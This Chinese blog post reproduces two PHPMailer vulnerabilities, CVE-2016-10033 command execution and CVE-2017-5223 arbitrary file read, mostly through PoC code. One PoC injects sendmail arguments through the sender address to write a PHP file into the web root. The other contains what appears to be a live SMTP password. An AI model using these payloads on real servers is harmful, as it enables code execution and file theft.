PHPMailer命令执行及任意文件读取漏洞

　　今天在thinkphp官网闲逛，无意下载了一套eduaskcms，查看了一下libs目录中居然存在PHPMailer-5.2.13，想起了之前看到的PHPMailer的漏洞，可惜这套CMS只提供了一个邮箱接口，前台页面需要单独自己写，没办法用这套CMS进行复现，这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现，记录一下。

PHPMailer 命令执行漏洞(CVE-2016-10033)

漏洞编号：CVE-2016-10033

影响版本：PHPMailer< 5.2.18

漏洞级别： 高危

漏洞POC：

<?php /*
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?> 09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc.  // For example from a Contact form  $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>"; // ------------------  // mail() param injection via the vulnerability in PHPMailer  require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"  $mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo;
} else { echo "Message sent!\n";
}

PHPMailer任意文件读取漏洞分析（CVE-2017-5223）

漏洞编号： CVE-2017-5223

影响版本： PHPMailer <= 5.2.21

漏洞级别： 高危

漏洞POC：根据作者的POC改了几行，使其适用于qq邮箱

<?php
#Author:Yxlink

require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.qq.com';
$mail->Port = 465;
$mail->SMTPAuth = true;
$mail->Username = xxxx@qq.com';  //qq邮箱
$mail->Password = 'zsuhxbmsaioxbcgb';//申请配置邮件客户端获取到的16位密码和qq密码不一样
$mail->SMTPSecure = 'ssl';

$mail->CharSet  = "UTF-8";
$mail->Encoding = "base64";

$mail->Subject = "hello";
$mail->From = "xxxx@qq.com";
$mail->FromName = "test";  

$address = "xxxx@qq.com";
$mail->AddAddress($address, "test");

$mail->AddAttachment('test.txt','test.txt');
$mail->IsHTML(true);
$msg="<img src='D:\\1.txt'>test";
$mail->msgHTML($msg);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";
}
?>

　

最后

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参考文章：

PHPMailer任意文件读取漏洞分析（CVE-2017-5223）http://www.freebuf.com/vuls/124820.html

PHPMailer 命令执行漏洞（CVE-2016-10033）分析 http://blog.csdn.net/wyvbboy/article/details/53969278